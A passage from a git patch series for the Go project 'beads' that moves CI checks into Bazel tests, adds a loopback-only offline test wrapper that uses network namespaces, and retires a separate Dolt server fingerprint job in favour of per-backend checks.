compiled into its test binary +// before it ran `-test.run ^TestManagedLocalProxied`. They now run in +// //cmd/bd:bd_managed_local_test, whose -test.run would silently match fewer +// tests if a build constraint dropped one. +var managedLocalLaneTests = []string{ + "TestManagedLocalProxiedLifecycleSmoke", + "TestManagedLocalProxiedForeignListenerNotAdopted", + "TestManagedLocalProxiedReusedPidNeverKilled", + "TestManagedLocalProxiedLegacyRecordFailClosed", + "TestManagedLocalProxiedOrphanBackendReaped", + "TestManagedLocalProxiedNProcessColdStartConvergence", + "TestManagedLocalProxiedStopStartInterleave", + "TestManagedLocalProxiedDoltStatusReportsLiveTopology", + "TestManagedLocalProxiedDoltStartRefusesOverLiveProxy", + "TestManagedLocalProxiedDoltStartRefusesWithProxyDown", + "TestManagedLocalProxiedDoltLifecycleLeavesOtherTopologiesAlone", + "TestManagedLocalProxiedTrackerUOWConformance", + "TestManagedLocalProxiedBackupRoundTrip", + "TestManagedLocalProxiedAutoBackup", + "TestManagedLocalProxiedBackupRestoreRefusedWhileAttached", + "TestManagedLocalProxiedPurgeWispsPlaneRetention", + "TestManagedLocalProxiedBackendCleanExitRetiresProxy", +} + +// TestManagedLocalLaneTestsCompileIntoBdTest is the job's "Assert the +// managed-local lifecycle tests are compiled in" step: each pinned test is +// defined in a cmd/bd _test.go file that a linux/amd64 cgo build with +// bd_test's tags (gms_pure_go, no integration) compiles. +func TestManagedLocalLaneTestsCompileIntoBdTest(t *testing.T) { + dir := filepath.Join(sourceRepoRoot(t), "cmd", "bd") + ctx := build.Default + ctx.GOOS, ctx.GOARCH, ctx.CgoEnabled = "linux", "amd64", true + ctx.BuildTags = []string{"gms_pure_go"} + + entries, err := os.ReadDir(dir) + if err != nil { + t.Fatal(err) + } + defined := map[string]string{} + funcRe := regexp.MustCompile(`(?m)^func (TestManagedLocalProxied\w*)\(`) + for _, e := range entries { + name := e.Name() + if e.IsDir() || !strings.HasSuffix(name, "_test.go") { + continue + } + match, err := ctx.MatchFile(dir, name) + if err != nil { + t.Fatalf("%s: %v", name, err) + } + if !match { + continue + } + data, err := os.ReadFile(filepath.Join(dir, name)) + if err != nil { + t.Fatal(err) + } + for _, m := range funcRe.FindAllStringSubmatch(string(data), -1) { + defined[m[1]] = name + } + } + for _, name := range managedLocalLaneTests { + if _, ok := defined[name]; !ok { + t.Errorf("%s is not defined in any cmd/bd test file a linux cgo build of bd_test compiles", name) + } + } + if len(defined) < len(managedLocalLaneTests) { + t.Errorf("found %d TestManagedLocalProxied* tests, want at least %d: %v", len(defined), len(managedLocalLaneTests), defined) + } +} diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index 0fc4c84e8..291ae121e 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -1734,6 +1734,14 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "BEADS_TEST_REQUIRE_SOCAT": "1", "GOMAXPROCS": "4", }, }, + "//cmd/bd:bd_managed_local_test": { + []string{"$(rootpath :bd_test)", "-test.run=^TestManagedLocalProxied", "-test.timeout=15m"}, + map[string]string{ + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd_for_tests)", "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", "BEADS_TEST_PREFLIGHT_GO": "$(rlocationpath :preflight_go_fixture)", + "BEADS_TEST_PROXIED_LOCAL": "1", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "BEADS_TEST_SKIP": "dolt", + }, + }, "//internal/storage/dolt:dolt_server_conformance_test": { []string{"$(rootpath :dolt_race_off)", "-test.v", "-test.count=1", "-test.timeout=15m", "-test.run=^TestConformance$$"}, map[string]string{"BEADS_TEST_DOLT_SERVER": "local", "BEADS_TEST_GIT_IDENTITY": "1", "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", "GOMAXPROCS": "4"}, diff --git a/tools/bazel/BUILD.bazel b/tools/bazel/BUILD.bazel index 8c05827d0..9d9e372c0 100644 --- a/tools/bazel/BUILD.bazel +++ b/tools/bazel/BUILD.bazel @@ -27,6 +27,13 @@ exports_files( visibility = ["//visibility:public"], ) +# sh_test src that runs an existing go_test binary with no network but +# loopback (see the script header), e.g. //cmd/bd:bd_managed_local_test. +exports_files( + ["go_test_offline.sh"], + visibility = ["//visibility:public"], +) + # Wraps every test process (`test --run_under` in .bazelrc) with the isolated # HOME/XDG/Dolt/git environment that scripts/ci/lib/test-env.sh gives `go test`. # Bazel merges the run_under target's runfiles into every test's runfiles, so diff --git a/tools/bazel/go_test_offline.sh b/tools/bazel/go_test_offline.sh new file mode 100755 index 000000000..b0718fe52 --- /dev/null +++ b/tools/bazel/go_test_offline.sh @@ -0,0 +1,24 @@ +#!/usr/bin/env bash +# Runs an existing go_test binary (go_test_variant.sh's contract: the first +# argument is its runfiles path, the rest go to the binary unchanged) inside a +# fresh user and network namespace with only loopback up, as namespace root. +# It is the unprivileged equivalent of `sudo unshare --net` plus `ip link set +# lo up`: the binary and every process it starts (bd, its loopback proxy, dolt +# sql-server) can bind and dial 127.0.0.1 and nothing else, which proves the +# code under test needs no outbound network. The workers allow unprivileged +# user namespaces; a host that does not fails here rather than running the +# test with the network it is meant to be without. +set -euo pipefail +export GO_TEST_RUN_FROM_BAZEL=1 +exec unshare --user --map-root-user --net -- bash -euc ' +ip link set lo up +# Prove the namespace really has no outbound network before trusting +# anything the test reports. +if timeout 3 bash -c "exec 3<>/dev/tcp/1.1.1.1/443" 2>/dev/null; then + echo "go_test_offline: outbound network unexpectedly available inside the namespace" >&2 + exit 1 +fi +bin="$1" +shift +exec "./$bin" "$@" +' go_test_offline "$@" From 72534f8e577e0318b4a6ccc25c407bb2023cde48 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:16 +0000 Subject: [PATCH 024/213] ci(bazel): check the Dolt server fingerprint on the dolt-server lane; retire pr.yml's fingerprint job (#7328) pr.yml's every-PR "Test (Dolt server fingerprint)" job installed dolt, pulled the dolt-sql-server docker image and ran TestDoltServerFingerprint against both backends. The rbe-west workers have no docker, and the container backend is now used only by the container-backed legacy jobs, which run only where bazel-coverage does not cover pr_lanes. - //internal/testutil:testutil_dolt_test runs testutil_test with the local backend selected and required (BEADS_TEST_DOLT_SERVER=local, BEADS_TEST_REQUIRE_DOLT_CONTAINER=1) on the dolt-server lane, which pr.yml's gate requires: the fingerprint's local half against the pinned dolt, plus the TestLocalDoltServer_* tests every other configuration skips under BEADS_TEST_SKIP=dolt. - The container half moves back to test-domain-uow's first test step (where it was before D2 step 3), so it runs exactly where containers are used. //internal/testutil:testutil_docker_test is its docker-lane A/B control. TestPinnedDoltCLIMatchesContainerImage still pins the image tag to the dolt release. - test-dolt-server-fingerprint, its ci-gate need/result and its policy tests are removed; TestDoltServerFingerprintRunsWhereEachBackendRuns pins the new placement. Refs: ga-96smfk.19 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/workflows/pr.yml | 65 +++++---------------- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 23 +++++--- internal/testutil/BUILD.bazel | 52 +++++++++++++++++ scripts/ci_workflow_test.go | 21 ++++--- scripts/pr_lanes_bazel_coverage_test.go | 75 ++++++++++++------------- scripts/pull_dolt_image_test.go | 2 +- 6 files changed, 126 insertions(+), 112 deletions(-) diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index fcb011073..bfaf9f66e 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1520,8 +1520,10 @@ jobs: # # D2 step 3: stands down where bazel-coverage says pr_lanes; Bazel's # `dolt-server lane` runs the same packages against a local dolt - # sql-server, which test-dolt-server-fingerprint (every PR) keeps equal to - # the container this job uses. + # sql-server, and //internal/testutil:testutil_dolt_test checks that + # server against the checked-in fingerprint. Where this job runs, its + # first test step checks the container it uses against the same + # fingerprint, so the two backends cannot drift apart unnoticed. test-domain-uow: name: Test (storage domain + uow) runs-on: ubuntu-latest @@ -1529,7 +1531,7 @@ jobs: if: needs.bazel-coverage.outputs.pr_lanes != 'true' # The race-enabled storage package has outgrown Go's implicit 10-minute # timeout. Keep both per-package deadlines inside one finite job budget. - timeout-minutes: 30 + timeout-minutes: 35 steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 @@ -1570,6 +1572,14 @@ jobs: sha256sum -c SHA256SUMS chmod +x bd-linux-gms-pure + # The container this job's tests use, and the local server (the + # pinned dolt CLI installed above), against the checked-in + # fingerprint. REQUIRE makes the container half fail, not skip. + - name: Test Dolt server fingerprint (container + local) + env: + BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" + run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ + - name: Test domain + uow + tracker env: BEADS_TEST_BD_BINARY: ${{ github.workspace }}/ci-build-artifacts/bd-linux-gms-pure @@ -1595,52 +1605,6 @@ jobs: TESTCONTAINERS_RYUK_DISABLED: "true" run: go test -tags gms_pure_go -race -count=1 -timeout 10m -v ./cmd/bd/doctor/fix/ - # Compares the Dolt sql-server container image the container-backed tests - # use and the local test server backend (the pinned dolt CLI, what every - # Bazel dolt-server lane starts) against the one checked-in fingerprint, - # so an image bump cannot drift the container side unnoticed. REQUIRE - # makes the container half fail, not skip. Every PR, whatever bazel-coverage - # says: it was test-domain-uow's first step, and the Bazel lanes that - # replace that job (D2 step 3) have no docker. - # - # F7a: moved to Blacksmith for same-repo PRs/merge_group. Restores no - # GitHub-saved cache (Dolt CLI and the sql-server image are fetched fresh - # every run via scripts/ci/install-dolt.sh and pull-dolt-image.sh). - test-dolt-server-fingerprint: - name: Test (Dolt server fingerprint) - runs-on: ${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-2vcpu-ubuntu-2404' || 'ubuntu-latest' }} - timeout-minutes: 15 - steps: - - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v6 - - - name: Set up Go - uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0 - with: - go-version-file: 'go.mod' - cache: false - - - name: Install Dolt CLI - run: ./scripts/ci/install-dolt.sh - - - name: Verify dolt on PATH - run: dolt version - - - name: Configure Git and Dolt identity - run: | - git config --global user.name "CI Bot" - git config --global user.email "ci@beads.test" - dolt config --global --add user.name "CI Bot" - dolt config --global --add user.email "ci@beads.test" - - - name: Pull Dolt sql-server image - # Keep tag in sync with internal/testutil/testdoltcommon.go:DoltDockerImage. - run: ./scripts/ci/pull-dolt-image.sh - - - name: Test Dolt server fingerprint (container + local) - env: - BEADS_TEST_REQUIRE_DOLT_CONTAINER: "1" - run: go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/ - # `test-macos` / "Test (macos-latest)" used to run here and is deliberately # removed (F4, PR CI -> 5 min). It was a non-required, PR-side mirror of # main.yml's `test` job's macOS leg (full `go test -race -short ./...`), @@ -2421,7 +2385,6 @@ jobs: - scripts-go-checks - pr-lint-wrapper - test-domain-uow - - test-dolt-server-fingerprint - contract-corpus - windows-make-shell - bazel @@ -2453,7 +2416,6 @@ jobs: SCRIPTS_GO_CHECKS PR_LINT_WRAPPER TEST_DOMAIN_UOW - TEST_DOLT_SERVER_FINGERPRINT CONTRACT_CORPUS WINDOWS_MAKE_SHELL BAZEL @@ -2509,7 +2471,6 @@ jobs: SCRIPTS_GO_CHECKS: ${{ needs.scripts-go-checks.result }} PR_LINT_WRAPPER: ${{ needs.pr-lint-wrapper.result }} TEST_DOMAIN_UOW: ${{ needs.test-domain-uow.result }} - TEST_DOLT_SERVER_FINGERPRINT: ${{ needs.test-dolt-server-fingerprint.result }} CONTRACT_CORPUS: ${{ needs.contract-corpus.result }} WINDOWS_MAKE_SHELL: ${{ needs.windows-make-shell.result }} # bazel.yml's lanes report their job.status as outputs; a lane that diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index c31517132..6ec63d432 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -646,7 +646,6 @@ Do not require these existing check names directly: - `Test (ubuntu-latest)` - `Test (macos-latest)` - `Test (storage domain + uow)` -- `Test (Dolt server fingerprint)` - `Go checks (vet)` - `Contract corpus (golden + determinism + conformance)` - `PR Core (wrapper timing)` @@ -920,11 +919,16 @@ manifests. On those PRs they are the tiers' only pre-merge run, and timing measured there), `ubuntu-latest` otherwise. `bazel-test`'s own `bazel-ci-build-artifacts` upload is no longer consumed by anything; it is kept for the F3.5.3 SHA256SUMS comparison and for debugging. - - Kept on every PR: the Dolt server fingerprint (container image vs the - pinned dolt CLI the Bazel dolt-server lanes start), formerly - `test-domain-uow`'s first step, is its own required job - `test-dolt-server-fingerprint` (`Test (Dolt server fingerprint)`, - `TEST_DOLT_SERVER_FINGERPRINT`). `check-release-target-cross-compilation` + - The Dolt server fingerprint is checked per backend, where that backend + runs. The local server (the pinned dolt CLI every Bazel dolt-server lane + starts) is checked by `//internal/testutil:testutil_dolt_test` on the + dolt-server lane. The container is checked by `test-domain-uow`'s first + test step, which runs only where the container-backed jobs run (not + covered by `pr_lanes`). The every-PR job `test-dolt-server-fingerprint` + (`Test (Dolt server fingerprint)`, `TEST_DOLT_SERVER_FINGERPRINT`) + pulled a docker image the workers do not have, so it is retired; the + image tag stays pinned to the dolt release by + `TestPinnedDoltCLIMatchesContainerImage`. `check-release-target-cross-compilation` still `go build`s `./...` with `CGO_ENABLED=0` on every PR. - Also kept on every PR, in the required job `scripts-go-checks` (`SCRIPTS_GO_CHECKS`, one leg, `Go checks (vet)`): `go test`'s own vet @@ -1182,8 +1186,9 @@ scope, not this slice's. `TestSameRepoBlacksmithRunners` and `TestSameRepoBlacksmithExpressionSemantics` in `scripts/ci_workflow_test.go`): pr.yml's `fast-checks`, `advisory-reports`, `check-release-target-cross-compilation` (8 vCPU), - `check-doc-flags` (4 vCPU), `pr-policy-wrapper` (4 vCPU), - `test-dolt-server-fingerprint`; pr-risk.yml's `test-nix` (4 vCPU). Every + `check-doc-flags` (4 vCPU), `pr-policy-wrapper` (4 vCPU) + (and `test-dolt-server-fingerprint`, since retired); pr-risk.yml's + `test-nix` (4 vCPU). Every other job keeps the default 2 vCPU label. Forks and Dependabot PRs fall back to `ubuntu-latest`, as F3's `bazel-coverage`/`ci-gate`/`detect-ci-tier` jobs and bazel.yml's `rbe` job already do; `TestBlacksmithJobsReadNoSecrets` @@ -1490,7 +1495,7 @@ PR timings, 2026-10): `fast-checks` (~40 s), `pr-policy-wrapper` `check-doc-freshness-platforms` and `pr-preflight-platforms` (Linux, Windows and macOS legs, up to ~5 min on Windows), `check-release-target-cross-compilation` (~5 min), -`test-dolt-server-fingerprint` (~1 min), `windows-make-shell` (~2.7 min), +`windows-make-shell` (~2.7 min), `windows-test-binaries` plus the prebuilt Windows pair (~7 min end to end), the advisory native Windows pair (~5 min; the gate waits for them), `test-nix` (~3 min) and the package gates (seconds unless their paths diff --git a/internal/testutil/BUILD.bazel b/internal/testutil/BUILD.bazel index 8cff43c52..c3ecd1843 100644 --- a/internal/testutil/BUILD.bazel +++ b/internal/testutil/BUILD.bazel @@ -1,4 +1,5 @@ load("@rules_go//go:def.bzl", "go_library", "go_test") +load("@rules_shell//shell:sh_test.bzl", "sh_test") go_library( name = "testutil", @@ -125,6 +126,57 @@ go_test( ], ) +# testutil_test on the dolt-server lane: the package's own tests of the +# test-server backends, with the local backend selected and required, so +# TestDoltServerFingerprint's local half (formerly pr.yml's "Test (Dolt +# server fingerprint)" job, every PR) and the TestLocalDoltServer_* tests run +# against the pinned dolt in the test wrapper's runfiles. Every other +# configuration of testutil_test passes BEADS_TEST_SKIP=dolt and skips them. +# The container half needs docker: testutil_docker_test below runs it on the +# docker lane, and TestPinnedDoltCLIMatchesContainerImage (//scripts) keeps +# the image tag on the pinned release. +# +# Tags: +# dolt-server: starts hermetic dolt sql-servers from the pinned dolt in the +# test wrapper's runfiles (BEADS_TEST_DOLT_SERVER=local); excluded from +# --config=prcore/ci, selected by --config=doltserver. +sh_test( + name = "testutil_dolt_test", + size = "medium", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :testutil_test)"], + data = [":testutil_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "local", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = ["dolt-server"], +) + +# The same tests with the container backend selected and required: the A/B +# control for testutil_dolt_test, and the only place TestDoltServerFingerprint's +# container half runs in CI (bazel.yml's docker lane, dolt-lane=docker). +# +# Tags: +# requires-docker: needs a docker daemon and the cached dolt-sql-server +# image; selected by --config=docker. +# no-remote-exec: the docker lane runs on the host. +sh_test( + name = "testutil_docker_test", + size = "medium", + srcs = ["//tools/bazel:go_test_variant.sh"], + args = ["$(rootpath :testutil_test)"], + data = [":testutil_test"], + env = { + "BEADS_TEST_DOLT_SERVER": "container", + "BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1", + }, + tags = [ + "no-remote-exec", + "requires-docker", + ], +) + # --- begin repo_files (managed by tools/bazel/go_srcs.py; run `make bazel-sync`) --- filegroup( diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index ecac502de..fcd7006e2 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -987,10 +987,11 @@ func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { const ( + fingerprintTimeoutMinutes = 5 storageTimeoutMinutes = 15 doctorTimeoutMinutes = 10 setupTeardownSlackMinutes = 5 - jobTimeoutMinutes = storageTimeoutMinutes + doctorTimeoutMinutes + setupTeardownSlackMinutes + jobTimeoutMinutes = fingerprintTimeoutMinutes + storageTimeoutMinutes + doctorTimeoutMinutes + setupTeardownSlackMinutes ) storageCommand := fmt.Sprintf( "go test -tags gms_pure_go -race -count=1 -timeout %dm -v ./internal/storage/domain/... ./internal/storage/uow/... ./internal/tracker/...", @@ -1008,25 +1009,24 @@ func TestStorageDomainUOWJobsUseNestedTimeoutBudgets(t *testing.T) { // Go's timeout applies per package test binary, so this is a // maintenance tripwire for the declared sequential tier budgets, // not a mathematical upper bound for the multi-package first step. - if job.TimeoutMinutes <= storageTimeoutMinutes+doctorTimeoutMinutes { + if job.TimeoutMinutes <= fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes { t.Errorf( "test-domain-uow timeout = %d minutes, want more than %d minutes of declared tier budgets", job.TimeoutMinutes, - storageTimeoutMinutes+doctorTimeoutMinutes) + fingerprintTimeoutMinutes+storageTimeoutMinutes+doctorTimeoutMinutes) } assertStepRunsExactly(t, job, "Test domain + uow + tracker", storageCommand) assertStepRunsExactly(t, job, "Test doctor/fix (Dolt-backed, hard-require container)", doctorCommand) }) } - // The container and local test servers are compared in pr.yml's own - // every-PR job (it was test-domain-uow's first step until D2 step 3; - // TestPRDoltServerFingerprintRunsOnEveryPR pins it). + // The container this job uses is compared with the checked-in + // fingerprint in its first test step + // (TestDoltServerFingerprintRunsWhereEachBackendRuns pins where). job := readCIWorkflow(t, "pr.yml").job(t, prFingerprintJob) - const fingerprintStep = "Test Dolt server fingerprint (container + local)" - assertStepRunsExactly(t, job, fingerprintStep, - "go test -tags gms_pure_go -count=1 -timeout 5m -v -run '^TestDoltServerFingerprint$' ./internal/testutil/") - assertStepEnvValue(t, job, fingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") + assertStepRunsExactly(t, job, prFingerprintStep, + fmt.Sprintf("go test -tags gms_pure_go -count=1 -timeout %dm -v -run '^TestDoltServerFingerprint$' ./internal/testutil/", fingerprintTimeoutMinutes)) + assertStepEnvValue(t, job, prFingerprintStep, "BEADS_TEST_REQUIRE_DOLT_CONTAINER", "1") gate := readCIWorkflow(t, "pr.yml").job(t, "ci-gate") gateEnv := gate.step(t, "Evaluate CI gate").Env @@ -2987,7 +2987,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { "bazel-coverage": sameRepoBlacksmith2vcpu, "ci-gate": sameRepoBlacksmith2vcpu, "fast-checks": sameRepoBlacksmith2vcpu, "advisory-reports": sameRepoBlacksmith2vcpu, - "test-dolt-server-fingerprint": sameRepoBlacksmith2vcpu, "check-doc-flags": sameRepoBlacksmith4vcpu, "pr-policy-wrapper": sameRepoBlacksmith4vcpu, "check-release-target-cross-compilation": sameRepoBlacksmith8vcpu, diff --git a/scripts/pr_lanes_bazel_coverage_test.go b/scripts/pr_lanes_bazel_coverage_test.go index 8abcbb6c6..e280fb1fc 100644 --- a/scripts/pr_lanes_bazel_coverage_test.go +++ b/scripts/pr_lanes_bazel_coverage_test.go @@ -20,14 +20,15 @@ import ( // (BAZEL_PR_LANES_RETIRED, simulated with the other tiers in // TestPRRiskDecisionMatchesBazelMode). Everything the retired jobs did // besides those tests keeps running on every PR: the package gates take the -// Bazel-built bd, the Dolt server fingerprint has its own job, and -// scripts-go-checks runs go test's vet checks. +// Bazel-built bd, the Dolt server fingerprint runs on the dolt-server lane +// (its local half) and in test-domain-uow (its container half, where +// containers are used), and scripts-go-checks runs go test's vet checks. const ( // The legacy jobs' if: not covered. prLaneLegacyIf = "needs." + prRiskCoverageJobName + ".outputs.pr_lanes != 'true'" - prFingerprintJob = "test-dolt-server-fingerprint" - prFingerprintID = "TEST_DOLT_SERVER_FINGERPRINT" + prFingerprintJob = "test-domain-uow" + prFingerprintStep = "Test Dolt server fingerprint (container + local)" prScriptsChecksJob = "scripts-go-checks" prScriptsChecksID = "SCRIPTS_GO_CHECKS" // bazel.yml's lanes for the step add --config=sole-run whenever they @@ -337,7 +338,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } for _, c := range []string{"true", "false"} { for _, res := range []string{"skipped", "failure", "cancelled"} { - for _, job := range []string{prFingerprintJob, "package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { + for _, job := range []string{"package-mcp", "package-npm", "pr-preflight-platforms", prScriptsChecksJob} { sc := prGateFor(t, lanes, "pull_request", "remote", cov(c)) // F3: package-mcp/package-npm are bazel.yml call outputs // (needs.bazel.outputs.package-mcp), not pr.yml job @@ -348,7 +349,7 @@ func TestPRLegacyLanesDeferToBazelLanes(t *testing.T) { } else { sc.results = map[string]string{job: res} } - id := map[string]string{prFingerprintJob: prFingerprintID, "pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] + id := map[string]string{"pr-preflight-platforms": "PR_PREFLIGHT_PLATFORMS", prScriptsChecksJob: prScriptsChecksID}[job] if id == "" { id = prPackageGateIDs[job] } @@ -545,47 +546,43 @@ func testPackageGateJobs(t *testing.T, prGateRequired []string) { } } -// The Dolt server fingerprint (container image vs the pinned dolt CLI the -// Bazel dolt-server lanes start) runs on every PR in its own required job, -// whatever bazel-coverage says, and nowhere else in pr.yml. -func TestPRDoltServerFingerprintRunsOnEveryPR(t *testing.T) { +// The Dolt server fingerprint is checked once per backend, where that backend +// runs: the local server (the pinned dolt CLI every Bazel dolt-server lane +// starts) by //internal/testutil:testutil_dolt_test on the dolt-server lane, +// whatever the mode (the retired every-PR job, "Test (Dolt server +// fingerprint)", pulled a docker image the workers do not have); the +// container by test-domain-uow, the container-backed job that runs only +// where bazel-coverage does not cover pr_lanes, as its first test step. No +// other pr.yml job runs it, and ci-gate has no separate fingerprint result. +func TestDoltServerFingerprintRunsWhereEachBackendRuns(t *testing.T) { pr := readCIWorkflow(t, "pr.yml") job := pr.job(t, prFingerprintJob) - // F7a: moved to the same same-repo Blacksmith expression every other - // cache-free same-repo pr.yml job uses; forks/Dependabot still fall back - // to ubuntu-latest (TestSameRepoBlacksmithRunners covers that fallback). - if job.If != "" || len(job.Needs) != 0 || job.ContinueOnError || job.RunsOn != sameRepoBlacksmith2vcpu || job.TimeoutMinutes == 0 { - t.Errorf("%s: if %q, needs %v, continue-on-error %v, runs-on %q, timeout %d; want an unconditional same-repo-Blacksmith job with a timeout", - prFingerprintJob, job.If, job.Needs, job.ContinueOnError, job.RunsOn, job.TimeoutMinutes) + if job.If != prLaneLegacyIf { + t.Errorf("%s if %q, want %q (the container-backed tests run only there)", prFingerprintJob, job.If, prLaneLegacyIf) } - var names []string - for _, s := range job.Steps { - if s.If != "" || s.ContinueOnError != nil { - t.Errorf("%s step %q: if %q, continue-on-error %v", prFingerprintJob, s.Name, s.If, s.ContinueOnError) + step := job.step(t, prFingerprintStep) + if step.If != "" || step.ContinueOnError != nil { + t.Errorf("%s step %q: if %q, continue-on-error %v", prFingerprintJob, prFingerprintStep, step.If, step.ContinueOnError) + } + assertStepsBefore(t, job, []string{"Install Dolt CLI", "Pull Dolt sql-server image"}, []string{prFingerprintStep}) + assertStepsBefore(t, job, []string{prFingerprintStep}, []string{"Test domain + uow + tracker"}) + for name, j := range pr.Jobs { + for _, s := range j.Steps { + if strings.Contains(s.Run, "TestDoltServerFingerprint") && (name != prFingerprintJob || s.Name != prFingerprintStep) { + t.Errorf("%s step %q runs the fingerprint; only %s's %q does", name, s.Name, prFingerprintJob, prFingerprintStep) + } } - names = append(names, s.Name) - } - want := []string{"", "Set up Go", "Install Dolt CLI", "Verify dolt on PATH", "Configure Git and Dolt identity", "Pull Dolt sql-server image", "Test Dolt server fingerprint (container + local)"} - if !reflect.DeepEqual(names, want) { - t.Errorf("%s steps %q, want %q", prFingerprintJob, names, want) - } - if got, want := job.step(t, "Pull Dolt sql-server image").Run, pr.job(t, "test-domain-uow").step(t, "Pull Dolt sql-server image").Run; got != want { - t.Errorf("%s pulls the image with %q, test-domain-uow with %q", prFingerprintJob, got, want) - } - if got := job.step(t, "Install Dolt CLI").Run; got != "./scripts/ci/install-dolt.sh" { - t.Errorf("%s installs dolt with %q", prFingerprintJob, got) } gate := pr.job(t, "ci-gate") env := gate.step(t, "Evaluate CI gate").Env - if !contains(gate.Needs, prFingerprintJob) || env[prFingerprintID] != "${{ needs."+prFingerprintJob+".result }}" || - !contains(strings.Fields(env["CI_GATE_REQUIRED"]), prFingerprintID) { - t.Errorf("ci-gate does not require %s", prFingerprintID) + if _, ok := env["TEST_DOLT_SERVER_FINGERPRINT"]; ok || strings.Contains(env["CI_GATE_REQUIRED"], "FINGERPRINT") { + t.Errorf("ci-gate still evaluates a separate fingerprint result: %q", env["CI_GATE_REQUIRED"]) } - for name, j := range pr.Jobs { - for _, s := range j.Steps { - if strings.Contains(s.Run, "TestDoltServerFingerprint") && name != prFingerprintJob { - t.Errorf("%s step %q runs the fingerprint; only %s does", name, s.Name, prFingerprintJob) - } + + rule := bazelRuleBlock(readPolicyFile(t, sourceRepoRoot(t), "internal/testutil/BUILD.bazel"), "testutil_dolt_test") + for _, w := range []string{`"$(rootpath :testutil_test)"`, `"BEADS_TEST_DOLT_SERVER": "local"`, `"BEADS_TEST_REQUIRE_DOLT_CONTAINER": "1"`, `tags = ["dolt-server"]`} { + if !strings.Contains(rule, w) { + t.Errorf("//internal/testutil:testutil_dolt_test lacks %s (the local half runs on the dolt-server lane):\n%s", w, rule) } } } diff --git a/scripts/pull_dolt_image_test.go b/scripts/pull_dolt_image_test.go index ff63d2c57..47a5b8269 100644 --- a/scripts/pull_dolt_image_test.go +++ b/scripts/pull_dolt_image_test.go @@ -54,7 +54,7 @@ func TestPullDoltImageRetriesTransientFailures(t *testing.T) { func TestDoltImagePullWorkflowsUseRetryHelper(t *testing.T) { wantCalls := map[string]int{ - "pr.yml": 3, // test-domain-uow, contract-corpus, test-dolt-server-fingerprint + "pr.yml": 2, // test-domain-uow, contract-corpus "pr-risk.yml": 3, "regression.yml": 1, } From b1fe68e63a395b3d689362e95c672786a0624d6a Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Wed, 7 Oct 2026 00:59:18 +0000 Subject: [PATCH 025/213] ci(bazel): run pr.yml's repository guards as Bazel tests (#7329) fast-checks, PR Policy, and the Linux leg of check-doc-freshness-platforms ran repository guards on GitHub runners. They now run as Bazel tests in bazel.yml's `test` lane (remote, cached), each over only the files it reads: - tools/bazel/repo_subset.bzl picks a narrow, path-selected slice of //:repo_files at analysis time. scripts/repochecks/run_check.sh copies that slice into a throwaway git checkout and runs the unchanged guard there. - //scripts/repochecks: build_tags, workflow_tags, go_install_guidance, winget_portable_alias, migration_hygiene (checks A and B), fmt (registered SDK gofmt), doc_freshness, workapi_frontend_boundary, types_gen_drift (`make api-check` drift, oapi-codegen from go.mod). - //scripts:doc_freshness_required_test (integration lane, -required-suite) and //scripts/gitattributespolicy:gitattributespolicy_required_host_test cover the Linux doc-freshness leg. - check-versions stays covered by //internal/versioncheck:versioncheck_test. check-testing-short stays covered by //scripts:scripts_test. pr-policy-wrapper is deleted. fast-checks keeps only the two checks that need the PR base: migration hygiene's delta half (MIGRATION_HYGIENE_SCOPE= delta) and the .beads diff. check-doc-flags stays, because it builds bd from the pinned release tag. The example Go modules leave .bazelignore so gofmt and the grep guards see them. check_testcases.py now accepts --not-go //pkg:all. Refs: ga-96smfk.20 Co-authored-by: Claude Opus 5.5 (1M context) --- .bazelignore | 2 - .github/workflows/bazel.yml | 9 +- .github/workflows/pr.yml | 190 +++-------- BUILD.bazel | 8 + MODULE.bazel | 12 